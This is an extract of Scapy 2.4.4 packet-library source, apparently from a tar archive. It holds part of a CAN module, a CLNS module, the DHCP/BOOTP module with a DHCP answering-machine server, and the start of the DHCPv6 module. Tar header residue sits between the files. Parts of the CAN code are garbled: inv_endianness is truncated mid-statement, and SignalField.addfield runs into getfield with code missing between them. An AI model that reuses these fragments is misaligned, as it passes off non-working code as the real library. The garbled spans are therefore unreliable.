StrLenField, \ ThreeBytesField, XBitField, ScalingField, ConditionalField, LenField from scapy.volatile import RandFloat, RandBinFloat from scapy.packet import Packet, bind_layers from scapy.layers.l2 import CookedLinux from scapy.error import Scapy_Exception from scapy.plist import PacketList __all__ = ["CAN", "SignalPacket", "SignalField", "LESignedSignalField", "LEUnsignedSignalField", "LEFloatSignalField", "BEFloatSignalField", "BESignedSignalField", "BEUnsignedSignalField", "rdcandump", "CandumpReader", "SignalHeader"] # Mimics the Wireshark CAN dissector parameter 'Byte-swap the CAN ID/flags field' # noqa: E501 # set to True when working with PF_CAN sockets conf.contribs['CAN'] = {'swap-bytes': False} class CAN(Packet): """A minimal implementation of the CANopen protocol, based on Wireshark dissectors. See https://wiki.wireshark.org/CANopen """ fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), FieldLenField('length', None, length_of='data', fmt='B'), ThreeBytesField('reserved', 0), StrLenField('data', '', length_from=lambda pkt: pkt.length), ] @staticmethod def inv_endianness(pkt): """ Invert the order of the first four bytes of a CAN packet This method is meant to be used specifically to convert a CAN packet between the pcap format and the socketCAN format :param pkt: str of the CAN packet :return: packet str with the first four bytes swapped """ len_partial = len(pkt) - 4 # len of the packet, CAN ID excluded return struct.pack('I{}s'.format(len_partial), pkt)) def pre_dissect(self, s): """ Implements the swap-bytes functionality when dissecting """ if conf.contribs['CAN']['swap-bytes']: return CAN.inv_endianness(s) return s def post_dissect(self, s): self.raw_packet_cache = None # Reset packet to allow post_build return s def post_build(self, pkt, pay): """ Implements the swap-bytes functionality when building this is based on a copy of the Packet.self_build default method. The goal is to affect only the CAN layer data and keep under layers (e.g LinuxCooked) unchanged """ if conf.contribs['CAN']['swap-bytes']: return CAN.inv_endianness(pkt) + pay return pkt + pay def extract_padding(self, p): return b'', p conf.l2types.register(DLT_CAN_SOCKETCAN, CAN) bind_layers(CookedLinux, CAN, proto=12) class SignalField(ScalingField): __slots__ = ["start", "size"] def __init__(self, name, default, start, size, scaling=1, unit="", offset=0, ndigits=3, fmt="B"): ScalingField.__init__(self, name, default, scaling, unit, offset, ndigits, fmt) self.start = start self.size = abs(size) if fmt[-1] == "f" and self.size != 32: raise Scapy_Exception("SignalField size has to be 32 for floats") _lookup_table = [7, 6, 5, 4, 3, 2, 1, 0, 15, 14, 13, 12, 11, 10, 9, 8, 23, 22, 21, 20, 19, 18, 17, 16, 31, 30, 29, 28, 27, 26, 25, 24, 39, 38, 37, 36, 35, 34, 33, 32, 47, 46, 45, 44, 43, 42, 41, 40, 55, 54, 53, 52, 51, 50, 49, 48, 63, 62, 61, 60, 59, 58, 57, 56] @staticmethod def _msb_lookup(start): return SignalField._lookup_table.index(start) @staticmethod def _lsb_lookup(start, size): return SignalField._lookup_table[SignalField._msb_lookup(start) + size - 1] @staticmethod def _convert_to_unsigned(number, bit_length): if number & (1 << (bit_length - 1)): mask = (2 ** bit_length) return mask + number return number @staticmethod def _convert_to_signed(number, bit_length): mask = (2 ** bit_length) - 1 if number & (1 << (bit_length - 1)): return number | ~mask return number & mask def _is_little_endian(self): return self.fmt[0] == "<" def _is_signed_number(self): return self.fmt[-1].islower() def _is_float_number(self): return self.fmt[-1] == "f" def addfield(self, pkt, s, val): if not isinstance(pkt, SignalPacket): raise Scapy_Exception("Only use SignalFields in a SignalPacket") val = self.i2m(pkt, val) if self._is_little_endian(): msb_pos = self.start + self.size - 1 lsb_pos = self.start shift = lsb_pos fmt = "> shift fld_val &= ((1 << self.size) - 1) if self._is_float_number(): fld_val = struct.unpack(self.fmt, struct.pack(self.fmt[0] + "I", fld_val))[0] elif self._is_signed_number(): fld_val = self._convert_to_signed(fld_val, self.size) return s, self.m2i(pkt, fld_val) def randval(self): if self._is_float_number(): return RandBinFloat(0, 0) if self._is_signed_number(): min_val = -2**(self.size - 1) max_val = 2**(self.size - 1) - 1 else: min_val = 0 max_val = 2 ** self.size - 1 min_val = round(min_val * self.scaling + self.offset, self.ndigits) max_val = round(max_val * self.scaling + self.offset, self.ndigits) return RandFloat(min(min_val, max_val), max(min_val, max_val)) def i2len(self, pkt, x): return float(self.size) / 8 class LEUnsignedSignalField(SignalField): def __init__(self, name, default, start, size, scaling=1, unit="", offset=0, ndigits=3): SignalField.__init__(self, name, default, start, size, scaling, unit, offset, ndigits, "B") class BESignedSignalField(SignalField): def __init__(self, name, default, start, size, scaling=1, unit="", offset=0, ndigits=3): SignalField.__init__(self, name, default, start, size, scaling, unit, offset, ndigits, ">b") class LEFloatSignalField(SignalField): def __init__(self, name, default, start, scaling=1, unit="", offset=0, ndigits=3): SignalField.__init__(self, name, default, start, 32, scaling, unit, offset, ndigits, "f") class SignalPacket(Packet): def pre_dissect(self, s): if not all(isinstance(f, SignalField) or (isinstance(f, ConditionalField) and isinstance(f.fld, SignalField)) for f in self.fields_desc): raise Scapy_Exception("Use only SignalFields in a SignalPacket") return s def post_dissect(self, s): """ SignalFields can be dissected on packets with unordered fields. The order of SignalFields is defined from the start parameter. After a build, the consumed bytes of the length of all SignalFields have to be removed from the SignalPacket. """ if self.wirelen > 8: raise Scapy_Exception("Only 64 bits for all SignalFields " "are supported") self.raw_packet_cache = None # Reset packet to allow post_build return s[self.wirelen:] class SignalHeader(CAN): fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), LenField('length', None, fmt='B'), ThreeBytesField('reserved', 0) ] def extract_padding(self, s): return s, None def rdcandump(filename, count=-1, interface=None): """Read a candump log file and return a packet list filename: file to read count: read only packets interfaces: return only packets from a specified interface """ with CandumpReader(filename, interface) as fdesc: return fdesc.read_all(count=count) class CandumpReader: """A stateful candump reader. Each packet is returned as a CAN packet""" nonblocking_socket = True def __init__(self, filename, interface=None): self.filename, self.f = self.open(filename) self.ifilter = None if interface is not None: if isinstance(interface, six.string_types): self.ifilter = [interface] else: self.ifilter = interface def __iter__(self): return self @staticmethod def open(filename): """Open (if necessary) filename.""" if isinstance(filename, six.string_types): try: fdesc = gzip.open(filename, "rb") # try read to cause exception fdesc.read(1) fdesc.seek(0) except IOError: fdesc = open(filename, "rb") else: fdesc = filename filename = getattr(fdesc, "name", "No name") return filename, fdesc def next(self): """implement the iterator protocol on a set of packets """ try: pkt = None while pkt is None: pkt = self.read_packet() except EOFError: raise StopIteration return pkt __next__ = next def read_packet(self, size=MTU): """return a single packet read from the file or None if filters apply raise EOFError when no more packets are available """ line = self.f.readline() line = line.lstrip() if len(line) < 16: raise EOFError is_log_file_format = orb(line[0]) == orb(b"(") if is_log_file_format: t, intf, f = line.split() idn, data = f.split(b'#') le = None t = float(t[1:-1]) else: h, data = line.split(b']') intf, idn, le = h.split() t = None if self.ifilter is not None and \ intf.decode('ASCII') not in self.ifilter: return None data = data.replace(b' ', b'') data = data.strip() pkt = CAN(identifier=int(idn, 16), data=binascii.unhexlify(data)) if le is not None: pkt.length = int(le[1:]) else: pkt.length = len(pkt.data) if len(idn) > 3: pkt.flags = 0b100 if t is not None: pkt.time = t return pkt def dispatch(self, callback): """call the specified callback routine for each packet read This is just a convenience function for the main loop that allows for easy launching of packet processing in a thread. """ for p in self: callback(p) def read_all(self, count=-1): """return a list of all packets in the candump file """ res = [] while count != 0: try: p = self.read_packet() if p is None: continue except EOFError: break count -= 1 res.append(p) return PacketList(res, name=os.path.basename(self.filename)) def recv(self, size=MTU): """ Emulate a socket """ return self.read_packet(size=size) def fileno(self): return self.f.fileno() def close(self): return self.f.close() def __enter__(self): return self def __exit__(self, exc_type, exc_value, tracback): self.close() # emulate SuperSocket @staticmethod def select(sockets, remain=None): return sockets, None scapy-2.4.4/scapy/layers/clns.py000066400000000000000000000045511372370053500166010ustar00rootroot00000000000000""" CLNS Extension ~~~~~~~~~~~~~~~~~~~~~ :copyright: 2014, 2015 BENOCS GmbH, Berlin (Germany) :author: Marcel Patzlaff, mpatzlaff@benocs.com :license: GPLv2 This module is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This module is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :description: This module provides a registration function and a generic PDU for OSI Connectionless-mode Network Services (such as IS-IS). """ from scapy.config import conf from scapy.fields import ByteEnumField, PacketField from scapy.layers.l2 import LLC from scapy.packet import Packet, bind_top_down, bind_bottom_up from scapy.compat import orb network_layer_protocol_ids = { 0x00: "Null", 0x08: "Q.933", 0x80: "IEEE SNAP", 0x81: "ISO 8438 CLNP", 0x82: "ISO 9542 ES-IS", 0x83: "ISO 10589 IS-IS", 0x8E: "IPv6", 0xB0: "FRF.9", 0xB1: "FRF.12", 0xC0: "TRILL", 0xC1: "IEEE 802.aq", 0xCC: "IPv4", 0xCF: "PPP" } _cln_protocols = {} class _GenericClnsPdu(Packet): name = "Generic CLNS PDU" fields_desc = [ ByteEnumField("nlpid", 0x00, network_layer_protocol_ids), PacketField("rawdata", None, conf.raw_layer) ] def _create_cln_pdu(s, **kwargs): pdu_cls = conf.raw_layer if len(s) >= 1: nlpid = orb(s[0]) pdu_cls = _cln_protocols.get(nlpid, _GenericClnsPdu) return pdu_cls(s, **kwargs) @conf.commands.register def register_cln_protocol(nlpid, cln_protocol_class): if nlpid is None or cln_protocol_class is None: return chk = _cln_protocols.get(nlpid, None) if chk is not None and chk != cln_protocol_class: raise ValueError("different protocol already registered!") _cln_protocols[nlpid] = cln_protocol_class bind_top_down(LLC, cln_protocol_class, dsap=0xfe, ssap=0xfe, ctrl=3) bind_top_down(LLC, _GenericClnsPdu, dsap=0xfe, ssap=0xfe, ctrl=3) bind_bottom_up(LLC, _create_cln_pdu, dsap=0xfe, ssap=0xfe, ctrl=3) scapy-2.4.4/scapy/layers/dhcp.py000066400000000000000000000373451372370053500165670ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ DHCP (Dynamic Host Configuration Protocol) and BOOTP """ from __future__ import absolute_import from __future__ import print_function try: from collections.abc import Iterable except ImportError: # For backwards compatibility. This was removed in Python 3.8 from collections import Iterable import random import struct from scapy.ansmachine import AnsweringMachine from scapy.base_classes import Net from scapy.compat import chb, orb, bytes_encode from scapy.fields import ByteEnumField, ByteField, Field, FieldListField, \ FlagsField, IntField, IPField, ShortField, StrField from scapy.layers.inet import UDP, IP from scapy.layers.l2 import Ether from scapy.packet import bind_layers, bind_bottom_up, Packet from scapy.utils import atol, itom, ltoa, sane from scapy.volatile import RandBin, RandField, RandNum, RandNumExpo from scapy.arch import get_if_raw_hwaddr from scapy.sendrecv import srp1, sendp from scapy.error import warning import scapy.modules.six as six from scapy.modules.six.moves import range from scapy.config import conf dhcpmagic = b"c\x82Sc" class BOOTP(Packet): name = "BOOTP" fields_desc = [ByteEnumField("op", 1, {1: "BOOTREQUEST", 2: "BOOTREPLY"}), ByteField("htype", 1), ByteField("hlen", 6), ByteField("hops", 0), IntField("xid", 0), ShortField("secs", 0), FlagsField("flags", 0, 16, "???????????????B"), IPField("ciaddr", "0.0.0.0"), IPField("yiaddr", "0.0.0.0"), IPField("siaddr", "0.0.0.0"), IPField("giaddr", "0.0.0.0"), Field("chaddr", b"", "16s"), Field("sname", b"", "64s"), Field("file", b"", "128s"), StrField("options", b"")] def guess_payload_class(self, payload): if self.options[:len(dhcpmagic)] == dhcpmagic: return DHCP else: return Packet.guess_payload_class(self, payload) def extract_padding(self, s): if self.options[:len(dhcpmagic)] == dhcpmagic: # set BOOTP options to DHCP magic cookie and make rest a payload of DHCP options # noqa: E501 payload = self.options[len(dhcpmagic):] self.options = self.options[:len(dhcpmagic)] return payload, None else: return b"", None def hashret(self): return struct.pack("!I", self.xid) def answers(self, other): if not isinstance(other, BOOTP): return 0 return self.xid == other.xid class _DHCPParamReqFieldListField(FieldListField): def getfield(self, pkt, s): ret = [] while s: s, val = FieldListField.getfield(self, pkt, s) ret.append(val) return b"", [x[0] for x in ret] # DHCP_UNKNOWN, DHCP_IP, DHCP_IPLIST, DHCP_TYPE \ # = range(4) # DHCPTypes = { 1: "discover", 2: "offer", 3: "request", 4: "decline", 5: "ack", 6: "nak", 7: "release", 8: "inform", 9: "force_renew", 10: "lease_query", 11: "lease_unassigned", 12: "lease_unknown", 13: "lease_active", } DHCPOptions = { 0: "pad", 1: IPField("subnet_mask", "0.0.0.0"), 2: IntField("time_zone", 500), 3: IPField("router", "0.0.0.0"), 4: IPField("time_server", "0.0.0.0"), 5: IPField("IEN_name_server", "0.0.0.0"), 6: IPField("name_server", "0.0.0.0"), 7: IPField("log_server", "0.0.0.0"), 8: IPField("cookie_server", "0.0.0.0"), 9: IPField("lpr_server", "0.0.0.0"), 10: IPField("impress-servers", "0.0.0.0"), 11: IPField("resource-location-servers", "0.0.0.0"), 12: "hostname", 13: ShortField("boot-size", 1000), 14: "dump_path", 15: "domain", 16: IPField("swap-server", "0.0.0.0"), 17: "root_disk_path", 18: "extensions-path", 19: ByteField("ip-forwarding", 0), 20: ByteField("non-local-source-routing", 0), 21: IPField("policy-filter", "0.0.0.0"), 22: ShortField("max_dgram_reass_size", 300), 23: ByteField("default_ttl", 50), 24: IntField("pmtu_timeout", 1000), 25: ShortField("path-mtu-plateau-table", 1000), 26: ShortField("interface-mtu", 50), 27: ByteField("all-subnets-local", 0), 28: IPField("broadcast_address", "0.0.0.0"), 29: ByteField("perform-mask-discovery", 0), 30: ByteField("mask-supplier", 0), 31: ByteField("router-discovery", 0), 32: IPField("router-solicitation-address", "0.0.0.0"), 33: IPField("static-routes", "0.0.0.0"), 34: ByteField("trailer-encapsulation", 0), 35: IntField("arp_cache_timeout", 1000), 36: ByteField("ieee802-3-encapsulation", 0), 37: ByteField("tcp_ttl", 100), 38: IntField("tcp_keepalive_interval", 1000), 39: ByteField("tcp_keepalive_garbage", 0), 40: StrField("NIS_domain", "www.example.com"), 41: IPField("NIS_server", "0.0.0.0"), 42: IPField("NTP_server", "0.0.0.0"), 43: "vendor_specific", 44: IPField("NetBIOS_server", "0.0.0.0"), 45: IPField("NetBIOS_dist_server", "0.0.0.0"), 46: ByteField("static-routes", 100), 47: "netbios-scope", 48: IPField("font-servers", "0.0.0.0"), 49: IPField("x-display-manager", "0.0.0.0"), 50: IPField("requested_addr", "0.0.0.0"), 51: IntField("lease_time", 43200), 52: ByteField("dhcp-option-overload", 100), 53: ByteEnumField("message-type", 1, DHCPTypes), 54: IPField("server_id", "0.0.0.0"), 55: _DHCPParamReqFieldListField("param_req_list", [], ByteField("opcode", 0), length_from=lambda x: 1), # noqa: E501 56: "error_message", 57: ShortField("max_dhcp_size", 1500), 58: IntField("renewal_time", 21600), 59: IntField("rebinding_time", 37800), 60: StrField("vendor_class_id", "id"), 61: StrField("client_id", ""), 62: "nwip-domain-name", 64: "NISplus_domain", 65: IPField("NISplus_server", "0.0.0.0"), 67: StrField("boot-file-name", ""), 68: IPField("mobile-ip-home-agent", "0.0.0.0"), 69: IPField("SMTP_server", "0.0.0.0"), 70: IPField("POP3_server", "0.0.0.0"), 71: IPField("NNTP_server", "0.0.0.0"), 72: IPField("WWW_server", "0.0.0.0"), 73: IPField("Finger_server", "0.0.0.0"), 74: IPField("IRC_server", "0.0.0.0"), 75: IPField("StreetTalk_server", "0.0.0.0"), 76: IPField("StreetTalk_Dir_Assistance", "0.0.0.0"), 78: "slp_service_agent", 79: "slp_service_scope", 81: "client_FQDN", 82: "relay_agent_information", 85: IPField("nds-server", "0.0.0.0"), 86: StrField("nds-tree-name", ""), 87: StrField("nds-context", ""), 88: "bcms-controller-namesi", 89: IPField("bcms-controller-address", "0.0.0.0"), 91: IntField("client-last-transaction-time", 1000), 92: IPField("associated-ip", "0.0.0.0"), 93: "pxe_client_architecture", 94: "pxe_client_network_interface", 97: "pxe_client_machine_identifier", 98: StrField("uap-servers", ""), 100: StrField("pcode", ""), 101: StrField("tcode", ""), 112: IPField("netinfo-server-address", "0.0.0.0"), 113: StrField("netinfo-server-tag", ""), 114: StrField("default-url", ""), 116: ByteField("auto-config", 0), 117: ShortField("name-service-search", 0,), 118: IPField("subnet-selection", "0.0.0.0"), 124: "vendor_class", 125: "vendor_specific_information", 136: IPField("pana-agent", "0.0.0.0"), 137: "v4-lost", 138: IPField("capwap-ac-v4", "0.0.0.0"), 141: "sip_ua_service_domains", 146: "rdnss-selection", 159: "v4-portparams", 160: StrField("v4-captive-portal", ""), 208: "pxelinux_magic", 209: "pxelinux_configuration_file", 210: "pxelinux_path_prefix", 211: "pxelinux_reboot_time", 212: "option-6rd", 213: "v4-access-domain", 255: "end" } DHCPRevOptions = {} for k, v in six.iteritems(DHCPOptions): if isinstance(v, str): n = v v = None else: n = v.name DHCPRevOptions[n] = (k, v) del(n) del(v) del(k) class RandDHCPOptions(RandField): def __init__(self, size=None, rndstr=None): if size is None: size = RandNumExpo(0.05) self.size = size if rndstr is None: rndstr = RandBin(RandNum(0, 255)) self.rndstr = rndstr self._opts = list(six.itervalues(DHCPOptions)) self._opts.remove("pad") self._opts.remove("end") def _fix(self): op = [] for k in range(self.size): o = random.choice(self._opts) if isinstance(o, str): op.append((o, self.rndstr * 1)) else: op.append((o.name, o.randval()._fix())) return op class DHCPOptionsField(StrField): islist = 1 def i2repr(self, pkt, x): s = [] for v in x: if isinstance(v, tuple) and len(v) >= 2: if v[0] in DHCPRevOptions and isinstance(DHCPRevOptions[v[0]][1], Field): # noqa: E501 f = DHCPRevOptions[v[0]][1] vv = ",".join(f.i2repr(pkt, val) for val in v[1:]) else: vv = ",".join(repr(val) for val in v[1:]) r = "%s=%s" % (v[0], vv) s.append(r) else: s.append(sane(v)) return "[%s]" % (" ".join(s)) def getfield(self, pkt, s): return b"", self.m2i(pkt, s) def m2i(self, pkt, x): opt = [] while x: o = orb(x[0]) if o == 255: opt.append("end") x = x[1:] continue if o == 0: opt.append("pad") x = x[1:] continue if len(x) < 2 or len(x) < orb(x[1]) + 2: opt.append(x) break elif o in DHCPOptions: f = DHCPOptions[o] if isinstance(f, str): olen = orb(x[1]) opt.append((f, x[2:olen + 2])) x = x[olen + 2:] else: olen = orb(x[1]) lval = [f.name] try: left = x[2:olen + 2] while left: left, val = f.getfield(pkt, left) lval.append(val) except Exception: opt.append(x) break else: otuple = tuple(lval) opt.append(otuple) x = x[olen + 2:] else: olen = orb(x[1]) opt.append((o, x[2:olen + 2])) x = x[olen + 2:] return opt def i2m(self, pkt, x): if isinstance(x, str): return x s = b"" for o in x: if isinstance(o, tuple) and len(o) >= 2: name = o[0] lval = o[1:] if isinstance(name, int): onum, oval = name, b"".join(lval) elif name in DHCPRevOptions: onum, f = DHCPRevOptions[name] if f is not None: lval = (f.addfield(pkt, b"", f.any2i(pkt, val)) for val in lval) # noqa: E501 else: lval = (bytes_encode(x) for x in lval) oval = b"".join(lval) else: warning("Unknown field option %s", name) continue s += chb(onum) s += chb(len(oval)) s += oval elif (isinstance(o, str) and o in DHCPRevOptions and DHCPRevOptions[o][1] is None): s += chb(DHCPRevOptions[o][0]) elif isinstance(o, int): s += chb(o) + b"\0" elif isinstance(o, (str, bytes)): s += bytes_encode(o) else: warning("Malformed option %s", o) return s class DHCP(Packet): name = "DHCP options" fields_desc = [DHCPOptionsField("options", b"")] bind_layers(UDP, BOOTP, dport=67, sport=68) bind_layers(UDP, BOOTP, dport=68, sport=67) bind_bottom_up(UDP, BOOTP, dport=67, sport=67) bind_layers(BOOTP, DHCP, options=b'c\x82Sc') @conf.commands.register def dhcp_request(iface=None, **kargs): """Send a DHCP discover request and return the answer""" if conf.checkIPaddr: warning( "conf.checkIPaddr is enabled, may not be able to match the answer" ) if iface is None: iface = conf.iface fam, hw = get_if_raw_hwaddr(iface) return srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / UDP(sport=68, dport=67) / # noqa: E501 BOOTP(chaddr=hw) / DHCP(options=[("message-type", "discover"), "end"]), iface=iface, **kargs) # noqa: E501 class BOOTP_am(AnsweringMachine): function_name = "bootpd" filter = "udp and port 68 and port 67" send_function = staticmethod(sendp) def parse_options(self, pool=Net("192.168.1.128/25"), network="192.168.1.0/24", gw="192.168.1.1", # noqa: E501 domain="localnet", renewal_time=60, lease_time=1800): self.domain = domain netw, msk = (network.split("/") + ["32"])[:2] msk = itom(int(msk)) self.netmask = ltoa(msk) self.network = ltoa(atol(netw) & msk) self.broadcast = ltoa(atol(self.network) | (0xffffffff & ~msk)) self.gw = gw if isinstance(pool, six.string_types): pool = Net(pool) if isinstance(pool, Iterable): pool = [k for k in pool if k not in [gw, self.network, self.broadcast]] # noqa: E501 pool.reverse() if len(pool) == 1: pool, = pool self.pool = pool self.lease_time = lease_time self.renewal_time = renewal_time self.leases = {} def is_request(self, req): if not req.haslayer(BOOTP): return 0 reqb = req.getlayer(BOOTP) if reqb.op != 1: return 0 return 1 def print_reply(self, req, reply): print("Reply %s to %s" % (reply.getlayer(IP).dst, reply.dst)) def make_reply(self, req): mac = req[Ether].src if isinstance(self.pool, list): if mac not in self.leases: self.leases[mac] = self.pool.pop() ip = self.leases[mac] else: ip = self.pool repb = req.getlayer(BOOTP).copy() repb.op = "BOOTREPLY" repb.yiaddr = ip repb.siaddr = self.gw repb.ciaddr = self.gw repb.giaddr = self.gw del(repb.payload) rep = Ether(dst=mac) / IP(dst=ip) / UDP(sport=req.dport, dport=req.sport) / repb # noqa: E501 return rep class DHCP_am(BOOTP_am): function_name = "dhcpd" def make_reply(self, req): resp = BOOTP_am.make_reply(self, req) if DHCP in req: dhcp_options = [(op[0], {1: 2, 3: 5}.get(op[1], op[1])) for op in req[DHCP].options if isinstance(op, tuple) and op[0] == "message-type"] # noqa: E501 dhcp_options += [("server_id", self.gw), ("domain", self.domain), ("router", self.gw), ("name_server", self.gw), ("broadcast_address", self.broadcast), ("subnet_mask", self.netmask), ("renewal_time", self.renewal_time), ("lease_time", self.lease_time), "end" ] resp /= DHCP(options=dhcp_options) return resp scapy-2.4.4/scapy/layers/dhcp6.py000066400000000000000000002225711372370053500166520ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license # Copyright (C) 2005 Guillaume Valadon # Arnaud Ebalard """ DHCPv6: Dynamic Host Configuration Protocol for IPv6. [RFC 3315,8415] """ from __future__ import print_function import socket import struct import time from scapy.ansmachine import AnsweringMachine from scapy.arch import get_if_raw_hwaddr, in6_getifaddr from scapy.config import conf from scapy.data import EPOCH, ETHER_ANY from scapy.compat import raw, orb from scapy.error import warning from scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \ FlagsField, IntEnumField, IntField, MACField, PacketField, \ PacketListField, ShortEnumField, ShortField, StrField, StrFixedLenField, \ StrLenField, UTCTimeField, X3BytesField, XIntField, XShortEnumField, \ PacketLenField, UUIDField, FieldListField from scapy.data import IANA_ENTERPRISE_NUMBERS from scapy.layers.dns import DNSStrField from scapy.layers.inet import UDP from scapy.layers.inet6 import DomainNameListField, IP6Field, IP6ListField, \ IPv6 from scapy.packet import Packet, bind_bottom_up from scapy.pton_ntop import inet_pton from scapy.sendrecv import send from scapy.themes import Color from scapy.utils6 import in6_addrtovendor, in6_islladdr import scapy.modules.six as six ############################################################################# # Helpers ## ############################################################################# def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) dhcp6_cls_by_type = {1: "DHCP6_Solicit", 2: "DHCP6_Advertise", 3: "DHCP6_Request", 4: "DHCP6_Confirm", 5: "DHCP6_Renew", 6: "DHCP6_Rebind", 7: "DHCP6_Reply", 8: "DHCP6_Release", 9: "DHCP6_Decline", 10: "DHCP6_Reconf", 11: "DHCP6_InfoRequest", 12: "DHCP6_RelayForward", 13: "DHCP6_RelayReply"} def _dhcp6_dispatcher(x, *args, **kargs): cls = conf.raw_layer if len(x) >= 2: cls = get_cls(dhcp6_cls_by_type.get(orb(x[0]), "Raw"), conf.raw_layer) return cls(x, *args, **kargs) ############################################################################# ############################################################################# # DHCPv6 # ############################################################################# ############################################################################# All_DHCP_Relay_Agents_and_Servers = "ff02::1:2" All_DHCP_Servers = "ff05::1:3" # Site-Local scope : deprecated by 3879 dhcp6opts = {1: "CLIENTID", 2: "SERVERID", 3: "IA_NA", 4: "IA_TA", 5: "IAADDR", 6: "ORO", 7: "PREFERENCE", 8: "ELAPSED_TIME", 9: "RELAY_MSG", 11: "AUTH", 12: "UNICAST", 13: "STATUS_CODE", 14: "RAPID_COMMIT", 15: "USER_CLASS", 16: "VENDOR_CLASS", 17: "VENDOR_OPTS", 18: "INTERFACE_ID", 19: "RECONF_MSG", 20: "RECONF_ACCEPT", 21: "SIP Servers Domain Name List", # RFC3319 22: "SIP Servers IPv6 Address List", # RFC3319 23: "DNS Recursive Name Server Option", # RFC3646 24: "Domain Search List option", # RFC3646 25: "OPTION_IA_PD", # RFC3633 26: "OPTION_IAPREFIX", # RFC3633 27: "OPTION_NIS_SERVERS", # RFC3898 28: "OPTION_NISP_SERVERS", # RFC3898 29: "OPTION_NIS_DOMAIN_NAME", # RFC3898 30: "OPTION_NISP_DOMAIN_NAME", # RFC3898 31: "OPTION_SNTP_SERVERS", # RFC4075 32: "OPTION_INFORMATION_REFRESH_TIME", # RFC4242 33: "OPTION_BCMCS_SERVER_D", # RFC4280 34: "OPTION_BCMCS_SERVER_A", # RFC4280 36: "OPTION_GEOCONF_CIVIC", # RFC-ietf-geopriv-dhcp-civil-09.txt 37: "OPTION_REMOTE_ID", # RFC4649 38: "OPTION_SUBSCRIBER_ID", # RFC4580 39: "OPTION_CLIENT_FQDN", # RFC4704 40: "OPTION_PANA_AGENT", # RFC5192 41: "OPTION_NEW_POSIX_TIMEZONE", # RFC4833 42: "OPTION_NEW_TZDB_TIMEZONE", # RFC4833 48: "OPTION_LQ_CLIENT_LINK", # RFC5007 59: "OPT_BOOTFILE_URL", # RFC5970 60: "OPT_BOOTFILE_PARAM", # RFC5970 61: "OPTION_CLIENT_ARCH_TYPE", # RFC5970 62: "OPTION_NII", # RFC5970 65: "OPTION_ERP_LOCAL_DOMAIN_NAME", # RFC6440 66: "OPTION_RELAY_SUPPLIED_OPTIONS", # RFC6422 68: "OPTION_VSS", # RFC6607 79: "OPTION_CLIENT_LINKLAYER_ADDR"} # RFC6939 dhcp6opts_by_code = {1: "DHCP6OptClientId", 2: "DHCP6OptServerId", 3: "DHCP6OptIA_NA", 4: "DHCP6OptIA_TA", 5: "DHCP6OptIAAddress", 6: "DHCP6OptOptReq", 7: "DHCP6OptPref", 8: "DHCP6OptElapsedTime", 9: "DHCP6OptRelayMsg", 11: "DHCP6OptAuth", 12: "DHCP6OptServerUnicast", 13: "DHCP6OptStatusCode", 14: "DHCP6OptRapidCommit", 15: "DHCP6OptUserClass", 16: "DHCP6OptVendorClass", 17: "DHCP6OptVendorSpecificInfo", 18: "DHCP6OptIfaceId", 19: "DHCP6OptReconfMsg", 20: "DHCP6OptReconfAccept", 21: "DHCP6OptSIPDomains", # RFC3319 22: "DHCP6OptSIPServers", # RFC3319 23: "DHCP6OptDNSServers", # RFC3646 24: "DHCP6OptDNSDomains", # RFC3646 25: "DHCP6OptIA_PD", # RFC3633 26: "DHCP6OptIAPrefix", # RFC3633 27: "DHCP6OptNISServers", # RFC3898 28: "DHCP6OptNISPServers", # RFC3898 29: "DHCP6OptNISDomain", # RFC3898 30: "DHCP6OptNISPDomain", # RFC3898 31: "DHCP6OptSNTPServers", # RFC4075 32: "DHCP6OptInfoRefreshTime", # RFC4242 33: "DHCP6OptBCMCSDomains", # RFC4280 34: "DHCP6OptBCMCSServers", # RFC4280 # 36: "DHCP6OptGeoConf", #RFC-ietf-geopriv-dhcp-civil-09.txt # noqa: E501 37: "DHCP6OptRemoteID", # RFC4649 38: "DHCP6OptSubscriberID", # RFC4580 39: "DHCP6OptClientFQDN", # RFC4704 40: "DHCP6OptPanaAuthAgent", # RFC-ietf-dhc-paa-option-05.txt # noqa: E501 41: "DHCP6OptNewPOSIXTimeZone", # RFC4833 42: "DHCP6OptNewTZDBTimeZone", # RFC4833 43: "DHCP6OptRelayAgentERO", # RFC4994 # 44: "DHCP6OptLQQuery", #RFC5007 # 45: "DHCP6OptLQClientData", #RFC5007 # 46: "DHCP6OptLQClientTime", #RFC5007 # 47: "DHCP6OptLQRelayData", #RFC5007 48: "DHCP6OptLQClientLink", # RFC5007 59: "DHCP6OptBootFileUrl", # RFC5790 60: "DHCP6OptBootFileParam", # RFC5970 61: "DHCP6OptClientArchType", # RFC5970 62: "DHCP6OptClientNetworkInterId", # RFC5970 65: "DHCP6OptERPDomain", # RFC6440 66: "DHCP6OptRelaySuppliedOpt", # RFC6422 68: "DHCP6OptVSS", # RFC6607 79: "DHCP6OptClientLinkLayerAddr", # RFC6939 } # sect 7.3 RFC 8415 : DHCP6 Messages types dhcp6types = {1: "SOLICIT", 2: "ADVERTISE", 3: "REQUEST", 4: "CONFIRM", 5: "RENEW", 6: "REBIND", 7: "REPLY", 8: "RELEASE", 9: "DECLINE", 10: "RECONFIGURE", 11: "INFORMATION-REQUEST", 12: "RELAY-FORW", 13: "RELAY-REPL"} ##################################################################### # DHCPv6 DUID related stuff # ##################################################################### duidtypes = {1: "Link-layer address plus time", 2: "Vendor-assigned unique ID based on Enterprise Number", 3: "Link-layer Address", 4: "UUID"} # DUID hardware types - RFC 826 - Extracted from # http://www.iana.org/assignments/arp-parameters on 31/10/06 # We should add the length of every kind of address. duidhwtypes = {0: "NET/ROM pseudo", # Not referenced by IANA 1: "Ethernet (10Mb)", 2: 